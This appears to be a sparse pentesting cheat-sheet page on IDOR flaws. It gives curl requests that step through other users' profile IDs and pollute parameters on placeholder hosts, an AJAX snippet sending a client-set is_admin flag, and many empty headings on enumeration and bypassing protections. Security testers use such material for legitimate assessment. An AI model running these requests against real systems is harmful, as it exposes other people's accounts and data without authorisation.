IDOR

Identifying IDORs

Simple Parameter Manipulation

# Numeric ID increment
curl -u user1:pass1 http://api.target.com/v1/users/123/profile
curl -u user1:pass1 http://api.target.com/v1/users/124/profile

# UUID/hash prediction
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440000/profile
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440001/profile

Parameter Pollution

# Multiple ID parameters
curl "http://target.com/download?file_id=legit123&file_id=admin456"
curl "http://target.com/api?user_id=valid123&user_id=victim789"

AJAX Calls

function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}

Understand Hashing/Encoding

Compare User Roles

IDOR Enumeration

Basic ID Enumeration

Numeric ID Increment/Decrement

UUID/GUID Manipulation

Hash Cracking (If IDs Are Obfuscated)

Parameter Fuzzing

Changing Parameter Names

HTTP Parameter Pollution (HPP)

Bypassing Encoded/Obscured IDs

Base64-Encoded IDs

Hashed IDs (MD5, SHA1, etc.)

Custom Encoding (e.g., XOR, Bit-Shifting)

IDOR in Insecure APIs

REST API IDOR

GraphQL IDOR

SOAP API IDOR (XML)

Bypassing Protections

Swapping HTTP Methods

Adding Headers (API Key Spoofing)

Parameter Pollution

Last updated